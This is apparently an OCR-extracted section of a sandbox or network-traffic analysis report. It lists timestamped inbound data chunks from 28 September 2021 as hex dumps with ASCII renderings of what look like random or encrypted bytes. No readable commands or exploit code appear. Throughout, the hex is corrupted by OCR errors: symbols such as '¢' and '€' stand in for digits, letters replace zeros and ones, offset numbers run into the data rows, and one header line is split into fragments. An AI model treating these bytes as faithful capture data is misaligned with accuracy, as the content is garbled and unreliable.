16 63 47 30 4e 26 77 65 53 1b ff 26 ec 6b 69 le dc 05 f7 b4 25 cf 21 18 dc bf ba 78 cc 4d 49 48 51 92 53 38 b7 4c le ee
9c c4 5e 30 67 33 eb fc 62 a0 4c d2 aa 64 e0 7e bb 56 91 9b 00 d7 5a 94 db be 24 56 34 ec Oe a0 a4 60 48 Ob 34 f6 a2 b3
b4 72 34 bc e2 5c eb 72 32 4f d7 9e 72 cb 63 a6 d2 5b cc 5f
Data Ascii: LI3TAT#Z>T%Z1dAr~4Y [7"T1VmBIPc_89Gu~e1R+m1(0h*u"{eS?bCq \>=1cGON&weS&ki%!XMIHQS8L 0g3bL
d~VZ$V4 H4ard\r20rc[

2021-09-28 07:53:27 UTC 344 IN Data Raw: 8e b6 02 5b 71 e3 9f dd 89 ec d8 f5 2b 5b 11 41 18 e7 f2 7d dd 67 86 a0 a2 21 1e 8b 3d ad 3b 9c 97 9c Oe aa
7200 db Ob 9f 73 7c de 2f 17 b0 75 ae ca c6 84 bc ff cc f7 6b de 08 04 70 e8 6b 6d 50 50 ed 7b 23 1e db 64 87 d8 aa 61
a6 1d ab b2 58 17 9b ¢8 9c d0 ad 69 43 21 7e 5e 58 f0 14 be 44 61 24 6b dc 75 a8 58 bc 25 d2 c8 ca a4 0d 4a 9b 2b 6d 49
3c 09 4d 22 6a 8f 6e 7a d2 6e c9 9f b2 04 41 8a 62 11 78 €9 04 10 fc e5 a7 09 52 6a 04 13 8 7a 7e 0d cf 78 41 50 76 Ob
7901 cadl 30 98 13 6¢ 10 23 c8 a4 5a a6 45 aa 1c f3 09 ea ed f2 23 fd 58 a3 f2 f6 39 94 18 ae b6 e3 7b 34 65 4c aa 56
2c 3e el f8 52 b9 bd 48 b6 75 58 ff d6 4b 08 b1 04 6b 46 8f 5f 22 36 35 9e f9 65 1f b7 ee 9d 91 f1 5f 7f 00 5b c4 99 46 8d
7c 8c 78 7b ad 97 f8 Oa af 63 8b 5e 8f 2d 99 5e 96 d9
Data Ascii: [q+[A}g!=;rs|/ukpkmPP{#daXiC!~"XDa$kuX%J+mI<M"jnznAbxRjz~xAPvyO#ZE#X9{4eLV,>RHUXKKF_"65
e_[F|x{c -~

2021-09-28 07:53:27 UTC 348 IN Data Raw: a3 35 8d 7a 61 64 89 37 3a 59 9e 25 8a 85 56 ba a0 b8 17 6a 76 47 86 90 c2 ef 20 03 f5 aa 73 13 61 d0 16 ac
88 8c 36 4e 9a f3 6¢ b9 5b df 59 6a bf 3c 71 2f c6 fa ee 8a d2 a4 ba 7c a5 07 {7 2e 1d 36 bf 86 a9 10 06 dO 40 b5 8c a9 45
91 bb a5 7b d3 93 41 51 11 1f 21 b5 4a 1e a6 40 f5 a7 b5 f5 78 76 fc e0 2f 42 90 1a 61 7c 91 1c f4 d8 ca 5f ea 23 8e 50 0d
a2 8ae871ac4781a9 84974557 f9e9 22 18 e2 d4 e4 17 db Oe fc 8d d5 fc ca a8 ¢7 21 08 dc 62 87 79 el c8 ac c7 92
12 b5 6a 75 ef 83 13 ¢1 51 12 al a7 fd 33 d4 0d 81 8a df fO 1e 52 26 6¢ 6¢ 5b 7d 28 cb 18 ff 24 ee 19 5 2c 32 8b Oc b9 82
2272 ¢6 fc 17 798 d5 7b 7d 47 8e af 8b 48 f9 e8 69 de 98 21 19 7d a7 1b c1 23 b7 e7 f0 16 1e 84 df 33 81 33 9f 9a d1 9a
99 f3 39 1f b6 fc f3 9e 45 93 37 67 fc ea 5d
Data Ascii: 5zad7:Y%VjvG sabNI[Yj<q/|.6 @E{AQ!J@xv/Ba|_#PqGEW"IbyjuQ3R&II[}($,2"r{}GHi!}#339E7g]

2021-09-28 07:53:27 UTC 352 IN Data Raw: b6 54 be c8 f3 1a 99 1f 48 17 fO d1 8d 4d 4f 96 2e 44 87 Oe 81 83 8d f7 05 f7 5b 83 ¢5 18 21 bl e5 2f 49 ea ed
52 9f 45 91 8b cb 99 9c ac 26 14 7e 1c f7 a4 a3 a6 dd c2 2f f0 8f 96 8a e2 b2 6d 00 79 23 79 77 53 c9 a8 a4 16 b8 f1 26 80
65 1d 66 85 a6 34 65 4b 31 25 18 25 67 56 50 93 c5 c0 66 a7 98 28 12 ff 71 e9 77 97 a6 f2 b5 ff dd 30 c2 60 48 6¢ 6 65
dd da c7 78 7 5e 51 e5 9a 01 b0 ac 04 e7 Oc 89 8e f6 9e 43 17 eb fa 3d 3c 5a cb 1d 3d d9 f8 d3 6a d5 68 f6 da 7b 93 ba
95 63 43 76 ab a7 0a 80 a8 5f a9 74 f4 4a 65 a4 cb 55 ab ef 9e d6 05 3b 2a 63 42 f2 b3 29 7b 0f cb f7 37 e4 {3 Oe 04 d6 f8
3e ad e9 66 16 13 b2 77 d6 43 {7 52 8e 6f 2f 38 61 c4 7b 1c la f7 47 bf 10 77 2d 5e 76 b2 28 34 76 da 0d 52 09 b4 e0 75
44 72 b4 98 61 27 4d 5a dd 86 d6 e0 fe 99 04 8f
Data Ascii: THMO.D[//IRE&~/my#ywS&ef4eK1%%gVPf(qw0 Hlex*QC=<Z=jh{cCv_tJeU;*cB){7>fwCRo/8a{Gw-"v(4vRu
Dra'MzZ
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:27 UTC 356 IN Data Raw: 53 Oe 6¢ c4 41 10 27 €5 79 f8 1b 51 a9 54 77 5d 88 3d a5 5b 96 de 12 e7 5d 68 d6 0d 71 d2 2a 55 ae 14 02 09
Oc fO 5d 63 78 21 1f c9 bl e4 ca 9c 53 85 b0 18 c1 el 5f 38 91 f3 41 1a ab 5a 87 6¢ 60 d3 96 4f 98 7d a6 4d f2 31 c7 3c 27
76 fd 8e 11 ca 27 e4 af 20 7a a9 2b 96 ed 03 f6 dO e2 e6 a2 b7 Ob 44 47 be b5 23 94 36 9a 69 29 85 50 08 20 c5 ef 36 89
€870 2b 07 05 04 8e c2 d1 33 28 3c ce 23 71 60 6b ea 17 14 83 bd 3a 77 7e 58 3c a0 7f f7 5e 19 15 21 5e cf 19 13 71 c1
12 6e 8f 3e 07 51 cf 81 e7 c3 de 4e 16 2c f0 €3 34 93 eb 75 10 67 8b 3d f5 3b 8c 5¢c a0 12 1f 97 6e 1b ca fd 3 3d 74 40 7a
06 81 d0 34 a4 3c 02 e0 7f f3 8d 96 79 a8 5d 63 89 89 08 82 8c 16 5a 5f f5 3c b4 8d 91 2d 55 b8 88 cd 1d 7d 3e 6d 0d 64
78 54 0f 16 51 0a 17 5d 7d 4f aa 51 5b c1 7e 6¢ 2a
Data Ascii: SIA'YQTw]=[lhg*U]cx!S_8AZI'O}M1<'v' z+DG#6i)P 6p+3(<#q kiw~X<MAgn>QN,4ug=;\n=t@z4<y]cZ_<-
U}>mdxTQJ}OQ[~I*

2021-09-28 07:53:27 UTC 360 IN Data Raw: f6 f7 36 ab b4 66 90 31 80 3b 23 df b3 e7 ff 06 82 48 a9 56 c5 36 0d f2 72 1a 7b f2 1a €2 82 f3 42 eb 46 5b 3c
60 c8 b8 Of 34 e6 48 cf d3 e2 a4 c4 19 ab b6 c1 56 7c 80 2d 58 e3 d8 64 {7 32 f6 cd 62 8b 66 f6 81 43 17 a0 8f 6¢ b4 5e ef
2f 4f f3 25 6a 92 64 72 27 63 d3 b3 58 8b 2d b9 5f fa ee d3 c1 b7 84 1le 9e a0 ab b7 e2 e7 ac 5¢ 76 f2 aa 50 4d dd 66 60
ac ca ee 50 47 c¢9 aa 26 Ob c7 45 58 57 f1 f2 51 9a 6f 70 f7 12 f0 83 1f c3 eb 22 54 20 7b 51 dc fO ba 22 99 d2 19 8b el 73
2c 87 09 5d 94 81 09 73 93 f6 02 21 92 88 2e 9f a6 f5 3b 33 5a 46 77 3c ca b5 ff 43 a2 86 01 64 ac a9 fd 44 45 89 c4 a5 e4
ed eb ac 66 74 dc fd 1b d6 77 33 a8 e6 c4 5b 6d be bf b8 b7 de fc ad ba d3 d1 b9 72 Ob 67 04 al 2d 04 bf 56 9b ce bc 1le
9d 1b c7 16 18 56 cb 8a 80 79 89 ba 16 e8 ad
Data Ascii: 6f1;#HV6r{BF[<4HV|-Xd2bfCI"/O%jdr'cX-_\VPMf PG&EXWQop"T {Q"s,]s!.;3ZFw<CdDEftw3[mrg-VVy

2021-09-28 07:53:27 UTC 364 IN Data Raw: c3 11 44 20 2a ac 4e c9 9a al al 60 0d b6 f4 fe 86 2f ef 75 9e 4b a3 a5 94 aa c6 0d a5 34 c8 84 4e 01 42 eb 51
3b c8 e8 42 87 d8 d3 51 43 9c 41 aa 44 d2 ac f7 69 b7 89 f4 39 c4 1b ad 87 da cf 02 c0 90 1a 21 ac 5¢ 21 ¢8 50 82 8b 90
8c eb Ob dc a2 3c 01 7b d7 7a db fe 7e 6¢ 43 2e 9e a2 b9 40 ec 82 b4 9a 31 00 2b e7 d0 3c dc dd 6¢ 57 38 2a 60 9c f9 0d
b5 53 69 6e 02 98 9 44 67 €9 0d 00 28 ba 06 27 6b 77 18 23 dd 6f 64 08 a3 56 f7 87 e5 89 d0 f2 95 25 fb 93 02 8e 80 75
3e 41 68 14 93 3d 06 4b f8 f5 e4 7a 2f e7 d4 2b 05 dd 48 40 1c 2e 1a dd 82 18 13 14 3a bd 8b 19 90 73 ca ea 3a c2 f9 c5
90 8f 68 36 €2 9f 0d cO aa 94 5c 6e 23 8c 4e 18 db f1 01 25 11 29 af e7 3a €2 1b 82 84 d4 da 16 01 4d 6¢ 92 1e ae 8d d5
1b 08 91 bd 22 86 9f Of 2b 36 6f a4 71 8a 60 3c 4f e4
Data Ascii: D *N'/uK4NBQ;BQCADI9N\!IP<{z~IC.@1+<IW8* SinDg('kw#0dV%u>Ah=Kz/+H@.:s:h6\n#N%):MI"+60g <O

2021-09-28 07:53:27 UTC 368 IN Data Raw: 68 16 07 9d 94 aa f0 80 1d cd c8 1a 7b fa Of 5¢c de fa dd 49 6d 04 b9 b1 ab 29 cf 5d c1 6b 03 97 2b ab 74 6c 43
2c 49 07 d5 8e 62 02 e8 9a d4 5a 4d 39 28 84 9e 09 5a b8 d3 cd fb dc 69 d6 ae 6b 45 92 el a7 67 69 b0 2a da f5 72 13 9c
b1 5c db 54 34 a4 4b b6 6¢ 43 36 c8 08 c1 cd e7 38 45 90 a7 72 39 8a b4 38 27 a3 bd 8 96 50 28 84 4e 50 56 e8 00 98 fd
6c 3e 2c 80 f9 b7 61 €9 9b 7f 01 dd 83 68 e4 f1 ad f5 82 44 55 06 37 5b 34 dc d0 7c 89 cd Ob 70 e8 3c 28 57 ad e7 b0 d3
€7 4d 11 97 f5 82 1d 4f fa 07 10 71 a9 1a 7d 63 60 d1 1c cO c2 b8 7b 81 9c 1d 3b e9 14 00 fc 5f 21 7b dd 63 Of 67 27 f4 el
4e 39 9e a4 d8 8b ae 15 02 2e Ob 3b af 80 51 7b 90 c8 aa ¢3 6d b7 13 b1 20 c0 c2 32 a4 ad dd bb e3 1c 99 d2 d2 5b 22
8a 78 d0 6b 1c da 0a 67 9e 16 e7 2e 27 7d 20 8d 63 fa
Data Ascii: h{\Im)]k+tIC,IbZM9(ZikEgi*r\T4AKIC68Er98'P(NPVI>,ahDU7[4|p<(WMOq}c {;_{cg'N9.;Q{m 2['xkg."} ¢

2021-09-28 07:53:27 UTC 372 IN Data Raw: d4 22 3a 91 al ab 2a 53 dc 90 b3 3f 39 ac f7 5a 37 2a 39 cf 2b d3 51 d2 64 0b 44 6b c4 6 69 ad 8f 6¢ 7c 48 2d
9c 1c 90 e5 6 ¢7 df 39 34 ¢8 90 ac 1a 47 d5 e7 ¢9 72 8b fe c6 f1 88 97 30 02 07 46 ed 7b 20 ad d9 a2 f8 5f Oc b8 {3 e7 3d
85 55 e8 5b 0d d9 3f 62 4a 2c 71 00 4e d6 48 5e fd 52 1c 82 b2 10 3b b0 b3 75 2a 98 de 8b a6 00 67 14 72 cc be 9b bd 16
36 81 80 e6 0d 36 a6 dc 35 63 df aa 85 54 f8 dd 85 48 97 8b 01 69 92 6f d6 a6 c8 82 1a 5e 98 e2 d2 3a 26 b6 80 1a 6a 42
13134 fc d8 el 77 e7 7 19 b2 40 e2 02 el 6a 08 01 d7 57 42 36 87 64 3e 96 4d 03 4b €8 99 15 7d 87 4e b4 99 Oa Oa 37
53 41 97 38 7a 2a €8 b7 a3 b8 5b 0f f8 cb 5a b0 fb 9d 81 33 bb 92 c9 e6 55 85 Ob 24 08 09 69 b6 cf 8c 6a 10 ab 4e 03 fd
9e 1ce4 73 0c 4b e5 fd e5 f3 e5 7e 86 7a 96 5 0d
Data Ascii: ":*S?9Z7*9+QdDkil|[H-94GrOF{ _=U[?bJ,gNH"R;u*gr665cTHio":&Bw@jWB6d>MK}N7SA8z*[Z3U$ijNsK~z

2021-09-28 07:53:27 UTC 376 IN Data Raw: d4 9b fe 48 37 f4 98 e4 71 fa 64 ec ae 99 16 b6 d9 db 5e 2c 85 79 ba f9 37 23 df 32 13 14 8c c3 65 e6 c6 a8 64
df 28 ff 84 23 15 b2 ff 00 00 7f a0 ad f1 Oe 34 2e 7c 4d 54 30 6a 66 cf ba ac e3 e3 25 fe 12 71 95 c4 9b ba 32 53 1f 6¢ a0
5a 25 39 80 3e 1f 7e 55 10 70 5d f1 9e b7 95 c0 89 37 c6 6e 28 6f 08 04 11 c6 b7 el 95 45 14 4f b2 c0 21 75 d6 5c a7 29
c7 a0 60 49 9e 29 5 b6 80 52 f2 00 4a ef df d9 ac a6 c5 76 8f 4e 75 3b 18 68 d9 21 2c 7a 7f 6a 47 73 77 af 30 cd 67 15 6b
56 da 1e 0d f5 d2 7b 1d 1a 11 29 ce ef fe 4f 6d 30 bc 4b 3f 09 48 e2 35 2f 00 7f c6 2d d3 37 63 b9 af 6e 8c c2 f6 f4 32 ee
85 0b b9 c0 9b 25 3e ca 34 c1 1e 13 04 99 d2 1b 2d 8e e2 c1 db b9 90 67 ae Of 1e 6b 04 e4 03 6b e7 c4 e5 cd 4c 89 dd d4
6d ac 9b 45 ff 79 10 a6 36 6f cc 3b cb 29 e3
Data Ascii: H7qd",y7#2ed(#4.|MT0jf%q2SIZ2%9>~Up]7n(0EO!u\) 1)RIVNU;h!,zjGswOgkV{)OmOK?H5/-7cn2%>4-gkk
LmEy60;)

2021-09-28 07:53:27 UTC 380 IN Data Raw: Oa d4 89 3f 12 40 56 ef ae ae 5f 77 ff a9 a3 cb 8c ec ed a4 88 8e 56 70 bc 01 31 67 56 3b ae 47 fc 57 5b al 14
c2 4d d4 02 8 3e 29 ¢5 f1 74 3c 9a 8d cd 44 4a d8 9d 7d 24 d8 9a d4 39 cb e6 1a 25 c9 5e eb 26 8a a8 2a 28 ¢7 €3 89 f2
5 13 6b 96 ef 01 65 89 ea 65 18 66 c8 f5 de 21 76 5d 97 d6 fd 32 07 f3 bl d1 e6 ff ea 65 01 c4 1b 27 28 de 21 41 4f 8f ec
0d f5 fb db a9 7d 4a ab 20 96 62 5d 7f 76 96 17 72 3d 4d b0 95 af 77 ad 5¢ 17 71 25 9a 92 21 28 42 fa 4d 98 f1 49 fa bc 5d
3e 60 5c 1e 88 08 fc 2¢ 7d 56 cf 47 32 40 db 28 3c 2e 19 a6 98 c8 7e 7c a4 a9 3f 7a 66 f9 f4 55 eb f1 9e ba 22 5e 1c 3a 81
01 26 d2 b0 36 b7 2e 49 83 54 9d 04 98 €0 51 25 ab 58 1e 5 86 bc 75 9f €0 c5 78 be 23 be 4a 8¢ fa bb 56 12 cb 69 93 d9
93 41 22 98 06 db f8 8a 1d 3b 1e €5 65 b4 52
Data Ascii: 2@V_wVp1gV;GW[M>)t<DJ}$9%"&*(keeflv]2e'('AO} blvr=Mw\q%!(BMI]>'\ )VG2@(<.~|?2fU":&6.IT
QY%Xux#JVIA";eR

2021-09-28 07:53:27 UTC 384 IN Data Raw: 40 fb 3a 7f 29 46 8b d2 42 29 11 2e b1 07 06 3c fO a5 3c da 28 06 63 54 68 €3 e4 ad 26 5d b7 b5 5f 33 46 7d 6f
a8 e4 ea 8b 24 cc 9b 83 52 ab fc 62 ec ea 2b db d9 d6 3b fc f9 80 a0 00 aa bf 43 e5 cc 50 ad 8a f0 3b 52 03 bd 45 fc 3e 22
e2 ca5b 5f 3b 3d 9b 5b 9f ed e7 7e 7e 52 32 47 54 df 56 da 24 fd 6f 51 77 ¢8 be 39 76 70 al b6 92 55 28 c1 27 89 al 73
29 1c 14 08 7a c5 7a 66 10 e3 7f Of 46 Oe 14 f2 bf 7d 84 66 ad 29 c7 f4 6f €0 25 1b ea dd 7f 74 77 06 de cb Ob b2 f9 87 18
fd 75 f4 8e 84 e3 6b 86 2f 8e d1 22 af d8 97 b1 d7 el c3 35 6e ff 77 52 11 58 aa cc 2e 52 da a9 06 89 a6 45 e3 bb ee 60
a3 b6 76 bf 34 7d 05 d8 06 e2 f5 8a 13 ee 61 5b dc 17 16 6a €3 d4 12 00 16 68 b3 d6 dc 52 7f 68 b3 a0 69 98 ff 16 cd 29
80 26 91 90 38 ba ed 53 63 78 a8 4d 99 7f 3e 48
Data Ascii: @:)FB).<<(cTh&]_3F}o$Rb+;CP;RE>"[_;=[~~R2GTV$0Qw9vpU('s)zzfF}f)o%twuk/'5nwRX.RE v4}a[jhR
hi)&8ScxM>H

2021-09-28 07:53:28 UTC 388 IN Data Raw: c7 23 b6 86 c4 21 3b 58 48 c8 fb 2e cd 46 40 3b ef 31 03 bf ca 88 73 7f 12 ff be 33 f8 d9 e7 ae 8f a3 7d 5e a3
8a 6f 4f 7Tb ab c9 a7 f4 10 5f 79 cc ed 82 fa eb 73 a5 94 34 36 7a €9 23 6d b7 al f9 a6 50 25 fd ec d9 13 83 e3 fb 65 26 6a
a6 0b le b4 6a c6 d1 73 al 14 f4 9b 05 61 16 be 38 47 28 f0 b3 82 el 27 52 a4 5¢ 23 eb d3 ed 03 ed 21 fb fO ca 30 27 c1
68 20 f6 69 b5 ff 28 f5 b0 60 91 80 51 20 04 bf 89 8b 6d 1e 2d 54 91 46 9f 69 81 98 f1 a9 d4 fO 4a 90 al df d3 1f 88 ab 5f
50 3e ee 05 1c 8¢ 07 e0 96 f4 c9 1f cO 8f af f3 a4 99 bc d2 70 fb 1le a5 45 76 a4 6¢ 48 53 95 a8 8f 66 ¢3 46 9f 30 41 4d ca
45 ec f7 6d 5d c3 db fd fc 4c 69 8d 32 11 5¢ 1a 85 66 81 d5 1f be 9a 5d 72 d8 ed 46 24 1e 56 dc 5¢ 57 d4 b7 bl e3 2d e8
07 7b 7e 7e 30 al 47 2d dc 26 ad Of e3 1c d3
Data Ascii: #;XH.F@;1s3}*00{_ys46z#mP%e&jjsa8G('R\#!0'h i('Q m-TFiJ_P>pEVIHSFFOAMEm]Li2\{[rF$V\W-{~~0G-&
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:28 UTC 392 IN Data Raw: 3c 09 b3 ba 7b 14 56 1a c6 ca a0 d4 32 68 fb 30 33 58 €9 ff a8 5d 9e d7 7c 23 10 92 80 e8 21 f4 3a 56 e8 51
1891 f9 d8 31 b9 d1 37 8d 13 dc f4 €3 99 56 84 15 88 c2 11 81 7b 1b 21 6f 92 c8 c1 68 43 47 af bc a4 d0 51 a4 d1 f3 58
Oa e8 62 ff cb 91 da 49 2d 39 40 62 f3 07 b8 37 ba d0 80 40 54 34 d8 16 6f €9 ff d2 6b Ob da 7e 25 c4 d8 1d 87 42 1d 48
f9 ee e2 08 f1 15 8 e6 4d ee 9c dd 92 1a 45 c8 56 4d e2 ac 5d 53 ¢8 15 60 9d e3 f5 el ba 73 f1 43 08 8b bc db 51 6a a0
25 3c 95 4a 86 18 90 fd ef bf 19 4f 74 be 77 fb 54 59 03 55 f8 03 01 ae c6 2a 6b 4b a4 23 78 63 61 e3 81 5e d7 €0 45 18
ae 7582 96 68 18 11 Oe 2c fd 76 84 8¢ f9 dc 7a 3c fe a3 4a fc 1e b5 20 bd da 91 3f 05 al 39 7e 66 42 e6 aa 50 b7 9d 61
7 9a d7 b0 cc d6 79 49 86 98 c4 52 c1 6d 65 80 ed eb 26
Data Ascii: <{V2h03X]|#!:VQ17V{lohCGQXbl-9@b7@T40k~%BHMEVM]S'sCQj%<JOtwTYU*kK#xca Euh,vz<J ?9~fBPay|
Rmeé&

2021-09-28 07:53:28 UTC 396 IN Data Raw: eb 69 6f df 56 31 12 30 f4 69 8c f7 88 ff 40 ca 8f 72 73 26 38 07 dc 30 a8 7b ee d0 e0 2f 02 fe 3d 67 d4 ad 54
0d 41 3a 49 Oc cb 45 b5 4e 87 4f 20 5d 98 c8 9c 7a 0d 48 a3 89 8b 72 €8 04 ae 27 13 bb 8a 9c 50 75 4e 20 54 5e {7 a9 82
€842 c3 3c 3a0a8c 18 76 91 84 72 8f cc 4a bd 65 fd 34 8a al b0 63 a2 a4 75 90 bf d5 a9 73 1c 28 75 7c ed 05 6a ba 6b
5a ea 5e 05 ad 54 0a c4 5a 09 8f d0 21 7f 8b e4 69 0a b0 72 b1 9c f0 53 5¢ 21 5a 17 03 07 43 03 91 39 28 b7 7f fa 22 03
€9 2b 31 6¢ 6e e5 a9 f9 bd Of 7b 71 33 45 36 1f 7c 90 7d f4 5¢ 2b b9 €3 d0 ac 01 74 e8 d6 a4 28 67 8d 58 78 b8 49 8f ee
le 36 94 2d 40 eb b1 €9 73 e0 db 39 a5 85 la ab 1f 68 5¢ Oc 92 68 f7 37 12 66 8a 09 4b ef 33 €5 15 e7 a6 93 4a d4 cd bd
ed 00 a9 42 d6 e7 ef a2 27 64 30 88 30 fb ab da al 93
Data Ascii: ioV10i@rs&80{/=gTA:IENO JzHr'PuN T"B<:vrJe4cus(u|jkZ TZ!irS\IZC9("+1In{q3E6|}\+t(gXx16-@s9h\n7fK3J
B'd00

2021-09-28 07:53:28 UTC 400 IN Data Raw: 47 fb 6f 2c 09 3a dc e2 dd 84 a9 8b 8c 85 c2 80 ac fa 7a 7a 82 7c 0d b5 53 da 4b 3a c2 de 4a 94 58 5b 41 3a ef
2b 87 23 77 b4 b5 12 03 41 29 47 8f a9 75 ¢6 2c 4f 3b f6 12 65 52 13 dc 91 7e 7a 6¢ 62 f4 Ob c1 ba 0f 37 b8 56 72 55 83
fc 3b 04 d1 73 d0 e0 1a 26 1b 8c 34 c2 af a2 3e 62 1a 21 b5 c9 72 20 d7 fO 4b 3d 3d 55 d0 e3 05 0d ff 95 ee 07 72 16 c3
ea 17 19 42 13 8f 8e 26 38 Oc 27 86 45 bc df df 78 4a d4 bc 84 5a 1d 65 96 93 af 9b 8a 4d 7d 44 44 8 81 b8 c0 52 5d 9f
05 f2 f2 a6 b3 d7 53 24 a4 29 c5 1e ¢l 75 6f 74 ef f6 5e bc 5¢ 95 7¢ 65 8a e4 d9 05 a8 50 47 1c d0 74 ec 03 d8 57 e0 17
92 0a 1b 21 9b 4a 56 f6 40 69 96 63 6a 39 1a 63 e6 30 dO Oc 91 ac 0a 84 0d 6e 50 19 85 70 59 df 02 b6 9b 0d fd 17 e5 cb
b2 04 d3 6d 7d b9 11 2b 96 89 eb al eb c2 70 85 bc 15
Data Ascii: Go,:zz|SK:IX[A:+#WA)Gu,0;eR~zlb7VrU;s&4>b!r K==UrB&8'ExJZeM}DDR]S$)uot’\|ePGtW!IIV@icj9cO
nPpYm}+p

2021-09-28 07:53:28 UTC 404 IN Data Raw: a4 03 8d 3c 71 99 1e 04 b7 8b 63 17 ee c1 a2 7d b3 f6 b8 e6 e3 73 5b 8f 3e 88 b5 b2 20 05 77 54 22 02 8a 68
df 95 f8 86 2b e7 53 4d 69 5f f9 ¢3 5¢ 2a 15 64 e4 50 81 51 1e 1e 1d 4e le 55 el 53 36 18 6b 7a d0 2d ef 47 68 c5 7e fe
7132 a6 cc 86 53 02 f9 aa 87 60 a0 fa dc 2b 98 7b b2 f7 92 68 f0 4a f5 fa 37 ce b1 ef Ob 99 1d a0 20 37 52 93 cc e4 0a 43
a5 6¢ d1 82 c2 60 c9 fb 37 80 9b 46 a0 8d 87 f1 9c €9 14 8a b8 cc 53 7b b7 72 b2 5b 4f 66 46 6e 9a 44 d5 b9 72 44 3c 25
d6 38 a8 62 69 ae c2 3e 4f 9f b2 2e 4d cc 97 €5 15 0b 7d 93 f9 af ad 90 65 c4 27 79 49 6e be 59 85 ad 65 1d 7c 03 77 bb
3d 52 d8 1f 56 8c 45 9a 78 11 Ob 51 9e 07 1e b1 0d c6 Ob a7 82 21 13 45 14 50 e3 a2 e3 92 ef 44 ae 1a 57 07 da a9 6b cd
19 6d d2 93 66 d5 d9 df 8a 45 ba b8 29 d6 65 d4 d2 43
Data Ascii: <qc}s[> wT"h+SMi_\*dPQNUS6kz-Gh~q2S +{hJ7 7RCI'7FS{r[OfFnDrD<%8bi>0.M}e'yInYe|w=RVEXQ!EP
DWkmfE)eC

2021-09-28 07:53:28 UTC 408 IN Data Raw: b7 Oa fd 02 79 54 82 c7 24 56 cf 44 bc b0 67 b0 13 f3 58 1a 3b 36 9b b7 99 21 20 da 74 87 33 36 77 2f 64 d4
40 c2 de de 45 €9 c4 ea 78 6a 03 15 b6 6d 16 44 74 1b b2 73 9c 93 79 6a 9f 50 30 19 f4 6e d7 ad 86 3e 82 38 53 f5 9e 26
8c 73 8b c8 05 ce 2e cd e4 b2 ba 67 b1 30 07 f5 41 5d e3 ac 6a 3a al ce 51 71 b4 1d 1f 3f ed c3 cc 20 11 42 06 a5 97 78
7250 c3 4c 88 be Ob 8e f3 d5 95 21 b5 Ob 5a ac 29 4a d6 c4 18 25 fd 3c fb cf 7d 1a 4e b0 f6 39 33 b2 b6 b3 c9 33 71 7b
97 29 1a bb 26 94 12 59 d6 90 08 1a 42 e9 0d 8 af d6 7b b2 65 a9 13 fa 3c 3e d0 3e e4 16 52 ¢7 16 e1 84 63 f5 78 1e 72
€059 7a 9e b6 62 b6 f0 68 8d 49 6a e7 78 b7 b1 32 45 17 3d 5a a5 ed 43 40 6¢ eb ed ae aa 51 36 fc 86 07 dc a9 cd b7 1c
3b 49 14 71 cc 6d b0 1a 22 10 16 75 6¢ d1 cd 39 a7 c0 14
Data Ascii: yT$VDgX;6! t36w/d@ExjmDtsyjPOn>8S&s.g0A]j:Qq? BxrPL!Z)J%<}N933q{)&YB{e<>>RcxrYzbhljx2E=Z
C@IQ6;lgm*ul9

2021-09-28 07:53:28 UTC 412 IN Data Raw: Of 2a 5e ef 17 16 31 f4 43 0f b7 ab b9 b6 40 74 a0 9a 52 cf 58 fc 42 65 e8 93 6f 4d 3f 13 dd 13 4a ca 01 99 89
21 10 6f 74 3e 62 80 2f 9c 81 db 10 c8 7d 77 06 53 28 f9 95 89 d6 al a5 9d 37 57 62 b5 4e fb 67 85 24 14 83 dc 92 c4 5d
e7 0c 96 36 74 3e 50 5b 79 2d 90 bb 5e bf fe ff 10 3f 44 8d de da b2 cd 8c 9a 47 48 3c b4 c2 64 5d 5b c7 ¢7 cd 82 2f ff 87
10 e2 c1 82 5b 92 11 44 1e f7 c7 8f a2 10 al 66 b6 33 49 22 e7 b9 c7 ab aa e8 84 28 f1 23 08 df c6 53 f5 ff €3 2b 44 3b af
0a 03 f4 56 29 22 2b 0f f0 3b b3 00 83 b3 5¢ 4d e2 66 97 d6 Of 35 48 6b 40 08 31 24 19 c2 22 2e 09 00 95 b3 Oe 4c 8a cc
8c 81 df 26 al 78 e9 d5 fe d9 78 94 7b 90 44 03 80 70 3e 3d 03 Oc bf cc 43 e2 08 71 6b 10 c9 5b b1 c8 al 54 34 a5 20 84
a8 12 ec f4 ¢5 01 f0 26 ad d9 ea 1f d7 5b 1f 23
Data Ascii: **1C@tRXBeoM?J!ot>b/iwS(7WbNg$]6t>P[y-*?DGH<d][/[Df3I"(#S+D;V)"+;\MfSHKk@1$".L&xx{Dp>=Cqk[T4 &
#

2021-09-28 07:53:28 UTC 416 IN Data Raw: 3b 89 87 88 c4 a5 18 97 e5 b6 be 5e b8 f1 56 21 d6 82 24 d6 c7 da ed 2e 55 d9 2c 55 57 04 ¢9 40 1a 74 d2 31
19 aa a3 a0 3b c2 8e 04 67 1d 4c 44 a5 8e 22 e4 a6 4c 74 fd 1d 8e 44 60 16 da 97 4e 49 bc a6 90 90 ad f6 27 e3 3d fe 6d
6a19 2d 15 7b 76 b6 31 Of bd cf 1b 13 2e cd 75 ¢9 c9 5¢ 4a 3d 9c Oe 11 22 02 60 38 35 b7 13 fe 7 67 f7 67 3b d8 84 58
ca 11 7b b9 09 d7 44 0 f5 26 af 53 1b 4f cf 8d 42 f7 23 2d ce 34 85 7e 74 16 90 24 4d d7 56 ee 8f 57 ff 0a 51 d9 8d Of ed
ce cl 4c 15 2b 21 3a 09 2 b8 fd 5c 47 8f 89 10 cc fe 0f 03 1d e8 49 fc c4 e4 42 ed de c4 78 4e 94 83 30 97 16 1a d2 6e 80
38 bb b5 56 7c ae 13 e8 f9 1e 3c 89 60 1d 38 ca e8 7f 1b 9a 2b 71 f6 68 53 17 d9 72 a3 c0 a8 ff 19 b2 9f 8b a4 3d 39 c0 el
0Oc 07 a3 fc 84 d5 fa 1a 87 16 c0 b2 6b d2 85 ac
Data Ascii: ;*V!$.U,UW@t1;gLD"LtD NI'=mj-{v1.u\J=""85gg;X{D&SOB#-4~t$MVWQL+!:\GIBXNOn8V|<'8+qhSr=9k

2021-09-28 07:53:28 UTC 420 IN Data Raw: 81 cc 9b 12 50 c4 46 36 82 a8 2f 75 b6 1a 4b 55 be ef cd 97 f1 78 2d 2c 03 1a de 36 cc e8 2d 70 b3 c1 62 c3
43 7b 52 42 ¢301 0d 31 b2 87 94 69 ac 67 aa c7 8¢ 2f 41 77 72 fd {8 f6 91 58 32 8e 4f b6 f9 1a 9a c4 d9 19 4f 8d al 31 ec
